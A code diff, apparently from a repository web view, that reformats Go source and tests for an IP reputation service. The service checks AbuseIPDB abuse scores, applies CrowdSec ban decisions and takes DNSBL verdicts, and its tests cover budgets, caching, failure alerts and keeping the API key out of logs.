} }
} }
@@ -689,10 +618,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
IsCA: true, IsCA: true,
BasicConstraintsValid: true, BasicConstraintsValid: true,
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature, KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{ ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
x509.ExtKeyUsageServerAuth, IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
},
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
} }
der, err := x509.CreateCertificate(rand.Reader, template, template, der, err := x509.CreateCertificate(rand.Reader, template, template,
@@ -709,8 +636,5 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
roots := x509.NewCertPool() roots := x509.NewCertPool()
roots.AddCert(certificate) roots.AddCert(certificate)
return tls.Certificate{ return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
Certificate: [][]byte{der},
PrivateKey: key,
}, roots
} }
+5 -22
View File
@@ -260,11 +260,7 @@ func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
// the score as client's, and notes the check as no longer under way. A // the score as client's, and notes the check as no longer under way. A
// check that fails gives no score: it is counted, logged and raised as a // check that fails gives no score: it is counted, logged and raised as a
// source_failure alert, and no client is checked for failureDelay. // source_failure alert, and no client is checked for failureDelay.
func (a *AbuseIPDB) check( func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
ctx context.Context,
client netip.Prefix,
addr netip.Addr,
) {
score, err := a.ask(ctx, addr) score, err := a.ask(ctx, addr)
now := a.params.Now() now := a.params.Now()
@@ -273,10 +269,7 @@ func (a *AbuseIPDB) check(
delete(a.checking, client) delete(a.checking, client)
if err == nil { if err == nil {
a.scores.Add( a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
client,
Score{Client: client, Score: score, Fetched: now},
)
} else { } else {
a.failures++ a.failures++
a.retryAt = now.Add(failureDelay) a.retryAt = now.Add(failureDelay)
@@ -292,10 +285,7 @@ func (a *AbuseIPDB) check(
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key // ask asks AbuseIPDB for addr's abuse confidence score, sending the key
// in the header Key. An answer other than 200, one that gives no score, // in the header Key. An answer other than 200, one that gives no score,
// and none within Timeout, fail. // and none within Timeout, fail.
func (a *AbuseIPDB) ask( func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
ctx context.Context,
addr netip.Addr,
) (int64, error) {
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout) ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
defer cancel() defer cancel()
@@ -331,8 +321,7 @@ func (a *AbuseIPDB) ask(
} `json:"data"` } `json:"data"`
} }
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)). err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
Decode(&answer)
if err != nil { if err != nil {
return 0, fmt.Errorf("read the answer: %w", err) return 0, fmt.Errorf("read the answer: %w", err)
} }
@@ -350,11 +339,5 @@ func (a *AbuseIPDB) alert(reason string, err error) {
// Raised before it is logged, so that the alert is there once the log // Raised before it is logged, so that the alert is there once the log
// line is. // line is.
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err) raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
a.params.ProcessLog.Warn( a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
reason,
"source",
AbuseIPDBSource,
"error",
err.Error(),
)
} }
+37 -127
View File
@@ -41,9 +41,7 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A client that has committed no offence is not checked. // A client that has committed no offence is not checked.
@@ -62,9 +60,7 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
}) })
} }
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses( func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -72,15 +68,10 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
// it of its own. // it of its own.
var addresses []string var addresses []string
for i := 1; i < 16; i++ { for i := 1; i < 16; i++ {
addresses = append( addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
addresses,
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
)
} }
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
scores: map[string]int64{addresses[0]: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A request from each has the client checked once, by the first. // A request from each has the client checked once, by the first.
@@ -105,11 +96,7 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
scores := map[string]int64{ scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
"192.0.2.74": 74,
"192.0.2.75": 75,
"192.0.2.100": 100,
}
p := abuseIPDBParams() p := abuseIPDBParams()
p.MinScore = 75 p.MinScore = 75
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p) checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
@@ -130,9 +117,7 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
hitFrom(t, checker, suspect, true) hitFrom(t, checker, suspect, true)
@@ -156,9 +141,7 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
}) })
} }
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds( func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -169,9 +152,7 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
p.DailyBudget = 3 p.DailyBudget = 3
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
// At noon, the first three offenders spend the budget, and the // At noon, the first three offenders spend the budget, and the
@@ -192,14 +173,8 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
// The check that used the budget up raised the alert, and logged it. // The check that used the budget up raised the alert, and logged it.
const usedUp = "the daily budget of AbuseIPDB checks is used up" const usedUp = "the daily budget of AbuseIPDB checks is used up"
wantFailureAlert( wantFailureAlert(t, queue, time.Now(), usedUp,
t, "3 checks spent; none is made until the day ends at 00:00 UTC", 0)
queue,
time.Now(),
usedUp,
"3 checks spent; none is made until the day ends at 00:00 UTC",
0,
)
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) { if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
t.Errorf("logged\n%s\nwant the budget used up", log.String()) t.Errorf("logged\n%s\nwant the budget used up", log.String())
@@ -239,9 +214,7 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
p := abuseIPDBParams() p := abuseIPDBParams()
p.DailyBudget = 1 p.DailyBudget = 1
p.Now = func() time.Time { return time.Now().In(ahead) } p.Now = func() time.Time { return time.Now().In(ahead) }
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
// At 09:00 UTC the one check is spent. // At 09:00 UTC the one check is spent.
@@ -265,9 +238,7 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
}) })
} }
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute( func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -311,10 +282,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
p.Key = tc.key p.Key = tc.key
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
status: tc.status,
body: tc.body,
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
// The failure gives no score, and no client is checked within a // The failure gives no score, and no client is checked within a
@@ -342,11 +310,8 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
wantFailureAlert(t, queue, time.Now().Add(-time.Minute), wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
"checking a client with AbuseIPDB failed", tc.error, 1) "checking a client with AbuseIPDB failed", tc.error, 1)
if !strings.Contains( if !strings.Contains(log.String(), `"msg":"checking a client with `+
log.String(), `AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
`"msg":"checking a client with `+
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -354,9 +319,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
} }
} }
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits( func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -383,14 +346,8 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantFailures(t, checker, 1) wantFailures(t, checker, 1)
wantFailureAlert( wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
t, "check the client: context deadline exceeded", 0)
queue,
time.Now(),
"checking a client with AbuseIPDB failed",
"check the client: context deadline exceeded",
0,
)
}) })
} }
@@ -404,15 +361,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
p := abuseIPDBParams() p := abuseIPDBParams()
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app") m := metrics.New(1, "app")
m.AddReputation( m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
reputation.New(params()),
reputation.NewDNSBL(dnsblParams()),
)
m.AddAbuseIPDB(checker) m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one it refuses with an answer // One check that AbuseIPDB answers, and one it refuses with an answer
@@ -421,10 +373,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
synctest.Wait() synctest.Wait()
wantScore(t, checker, suspect, true, 100, true) wantScore(t, checker, suspect, true, 100, true)
abuseIPDB.answerWith( abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
http.StatusUnauthorized,
`{"errors":[{"detail":"`+key+`"}]}`,
)
wantScore(t, checker, other, true, 0, false) wantScore(t, checker, other, true, 0, false)
synctest.Wait() synctest.Wait()
wantFailures(t, checker, 1) wantFailures(t, checker, 1)
@@ -467,10 +416,7 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
p.DailyBudget = 5 p.DailyBudget = 5
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app") m := metrics.New(1, "app")
m.AddReputation( m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
reputation.New(params()),
reputation.NewDNSBL(dnsblParams()),
)
m.AddAbuseIPDB(checker) m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one that fails. // One check that AbuseIPDB answers, and one that fails.
@@ -526,9 +472,7 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
} }
} }
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst( func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -557,10 +501,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
got := checker.Snapshot() got := checker.Snapshot()
if len(got) != count-1 || !slices.Contains(got, scores[0]) || if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
slices.Contains(got, scores[count-1]) { slices.Contains(got, scores[count-1]) {
t.Errorf( t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
"%d scores kept, want all but the one fetched longest ago",
len(got),
)
} }
} }
@@ -581,9 +522,7 @@ type abuseIPDBStandIn struct {
// RoundTrip has the stand-in answer req, in place of the network. A check // RoundTrip has the stand-in answer req, in place of the network. A check
// abandoned before the stand-in answers fails, as over the network. // abandoned before the stand-in answers fails, as over the network.
func (s *abuseIPDBStandIn) RoundTrip( func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
req *http.Request,
) (*http.Response, error) {
client := req.URL.Query().Get("ipAddress") client := req.URL.Query().Get("ipAddress")
sent := req.Header.Get("Key") sent := req.Header.Get("Key")
@@ -603,11 +542,8 @@ func (s *abuseIPDBStandIn) RoundTrip(
status = http.StatusUnauthorized status = http.StatusUnauthorized
case status == 0: case status == 0:
status = http.StatusOK status = http.StatusOK
body = fmt.Sprintf( body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, score)
client,
score,
)
} }
return &http.Response{ return &http.Response{
@@ -667,25 +603,15 @@ func newAbuseIPDB(
// wantScore checks the score checker gives client, and whether it is a // wantScore checks the score checker gives client, and whether it is a
// hit, as a request from client finds them, offender or not. // hit, as a request from client finds them, offender or not.
func wantScore( func wantScore(
t *testing.T, t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
checker *reputation.AbuseIPDB, score int64, hit bool,
client string,
offender bool,
score int64,
hit bool,
) { ) {
t.Helper() t.Helper()
gotScore, gotHit := hitFrom(t, checker, client, offender) gotScore, gotHit := hitFrom(t, checker, client, offender)
if gotScore != score || gotHit != hit { if gotScore != score || gotHit != hit {
t.Errorf( t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
"%s has the score %d, a hit %t, want %d, %t", score, hit)
client,
gotScore,
gotHit,
score,
hit,
)
} }
} }
@@ -693,10 +619,7 @@ func wantScore(
// Its client is address for an IPv4 address, and its /64 for an IPv6 one, // Its client is address for an IPv4 address, and its /64 for an IPv6 one,
// as sww counts clients. // as sww counts clients.
func hitFrom( func hitFrom(
t *testing.T, t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
checker *reputation.AbuseIPDB,
address string,
offender bool,
) (int64, bool) { ) (int64, bool) {
t.Helper() t.Helper()
@@ -740,10 +663,7 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
// the error failure, and that the cooldown has held back held repeats of // the error failure, and that the cooldown has held back held repeats of
// it. // it.
func wantFailureAlert( func wantFailureAlert(
t *testing.T, t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
queue *alerts.Queue,
raised time.Time,
reason, failure string,
held int64, held int64,
) { ) {
t.Helper() t.Helper()
@@ -753,15 +673,8 @@ func wantFailureAlert(
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason || got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
got[0].Detail["source"] != reputation.AbuseIPDBSource || got[0].Detail["source"] != reputation.AbuseIPDBSource ||
got[0].Detail["error"] != failure || queue.Suppressed() != held { got[0].Detail["error"] != failure || queue.Suppressed() != held {
t.Errorf( t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+ "and %d", got, queue.Suppressed(), reason, failure, held)
"and %d",
got,
queue.Suppressed(),
reason,
failure,
held,
)
} }
} }
@@ -779,11 +692,8 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
t.Helper() t.Helper()
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP( m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
scraped, http.NoBody))
httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
http.NoBody),
)
return scraped.Body.String() return scraped.Body.String()
} }
+37 -146
View File
@@ -37,9 +37,7 @@ const (
rangeScope = "Range" rangeScope = "Range"
) )
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown( func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -50,13 +48,7 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
// A shorter decision on the same address, which is not the one // A shorter decision on the same address, which is not the one
// used. // used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{ {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)}, {"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country. // Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)}, {"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -82,28 +74,14 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
e.set(func(e *engine) { e.failing = true }) e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond) time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait() synctest.Wait()
wantDecision( wantDecision(t, lists, "198.51.100.7",
t, reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
lists,
"198.51.100.7",
reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
},
)
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{}) wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision( wantDecision(t, lists, suspect,
t, reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
lists,
suspect,
reputation.Decision{
Expires: began.Add(6 * time.Hour),
Scenario: manual,
},
)
}) })
} }
@@ -118,10 +96,7 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1) wantEngineFetches(t, e, 1)
added := reputation.Decision{ added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
Expires: began.Add(2 * time.Hour),
Scenario: probing,
}
e.set(func(e *engine) { e.set(func(e *engine) {
e.decisions = append(e.decisions, e.decisions = append(e.decisions,
@@ -150,58 +125,23 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
// 198.51.100.130 is held by a decision on its address that ends // 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends // after the one on its netblock, and 192.0.2.20 by one that ends
// before. // before.
{ {rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
rangeScope,
"198.51.100.128/25",
ban,
sshBF,
began.Add(time.Hour),
},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)}, {"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{ {rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
rangeScope,
"192.0.2.0/24",
ban,
probing,
began.Add(5 * time.Hour),
},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)}, {"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}} }}
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
wantDecision( wantDecision(t, lists, suspect,
t, reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
lists, wantDecision(t, lists, "198.51.100.130",
suspect, reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
reputation.Decision{ wantDecision(t, lists, "192.0.2.20",
Expires: began.Add(4 * time.Hour), reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
Scenario: probing,
},
)
wantDecision(
t,
lists,
"198.51.100.130",
reputation.Decision{
Expires: began.Add(3 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"192.0.2.20",
reputation.Decision{
Expires: began.Add(5 * time.Hour),
Scenario: probing,
},
)
}) })
} }
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient( func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -263,43 +203,27 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
} }
wantEngineFetches(t, e, 3) wantEngineFetches(t, e, 3)
wantDecision( wantDecision(t, lists, suspect,
t, reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: sshBF,
},
)
want := kept[0] want := kept[0]
want.Tried = time.Now() want.Tried = time.Now()
got := lists.Snapshot() if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
if !reflect.DeepEqual(got, []reputation.List{want}) { t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
} }
if n := lists.Failures(decisionsURL); n != 2 { if lists.Failures(decisionsURL) != 2 {
t.Errorf("%d failures, want 2", n) t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
} }
// One alert for the first failure; the cooldown holds back the // One alert for the first failure; the cooldown holds back the
// second. // second.
failed := time.Now().Add(-time.Minute) wantAlert(t, queue,
alert := fetchFailure(failed, decisionsURL, tc.error) fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
wantAlert(t, queue, alert)
if !strings.Contains( if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
log.String(), `"url":"`+decisionsURL+`","error":"`+tc.error) {
`"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
@@ -369,11 +293,7 @@ func crowdSecFailures() []crowdSecFailure {
// log, the alerts waiting in queue, and the copies of lists, which // log, the alerts waiting in queue, and the copies of lists, which
// lists.json keeps. // lists.json keeps.
func wantKeyNotShown( func wantKeyNotShown(
t *testing.T, t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
e *engine,
log string,
lists *reputation.Lists,
queue *alerts.Queue,
) { ) {
t.Helper() t.Helper()
@@ -395,21 +315,13 @@ func wantKeyNotShown(
} }
} }
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo( func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
began := time.Now() began := time.Now()
e := &engine{key: engineKey, decisions: []decision{ e := &engine{key: engineKey, decisions: []decision{
{ {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
}} }}
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
kept := lists.Snapshot() kept := lists.Snapshot()
@@ -430,10 +342,7 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
run(t, again) run(t, again)
want := reputation.Decision{ want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
Expires: began.Add(time.Hour),
Scenario: probing,
}
wantDecision(t, again, "198.51.100.7", want) wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond) time.Sleep(30*time.Minute - time.Nanosecond)
@@ -506,8 +415,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.fetches++ e.fetches++
if req.URL.String() != decisionsURL && if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String()) e.keySentTo = append(e.keySentTo, req.URL.String())
} }
@@ -517,9 +425,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key: case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}` status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "": case e.redirect != "":
status, header = http.StatusFound, http.Header{ status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
"Location": {e.redirect},
}
case e.failing: case e.failing:
status, body = http.StatusServiceUnavailable, "" status, body = http.StatusServiceUnavailable, ""
case body == "": case body == "":
@@ -543,9 +449,7 @@ func (e *engine) inForce(now time.Time) string {
for _, d := range e.decisions { for _, d := range e.decisions {
if now.Before(d.expires) { if now.Before(d.expires) {
answer = append(answer, map[string]string{ answer = append(answer, map[string]string{
"duration": d.expires.Sub(now). "duration": d.expires.Sub(now).String(), "origin": "crowdsec",
String(),
"origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value, "scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
}) })
} }
@@ -597,26 +501,13 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
// wantDecision checks the decision lists says is in force on addr now, // wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none. // the zero Decision for none.
func wantDecision( func wantDecision(
t *testing.T, t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
lists *reputation.Lists,
addr string,
want reputation.Decision,
) { ) {
t.Helper() t.Helper()
got, listed := lists.CrowdSecDecision( got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
netip.MustParseAddr(addr),
time.Now(),
)
if listed != !want.Expires.IsZero() || if listed != !want.Expires.IsZero() ||
listed && listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) { t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
t.Errorf(
"%s has the decision %+v in force %t, want %+v",
addr,
got,
listed,
want,
)
} }
} }
+2 -9
View File
@@ -203,10 +203,7 @@ func (d *DNSBL) Snapshot() []Verdict {
d.mu.Unlock() d.mu.Unlock()
slices.SortFunc(verdicts, func(a, b Verdict) int { slices.SortFunc(verdicts, func(a, b Verdict) int {
return cmp.Or( return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
a.Client.Compare(b.Client),
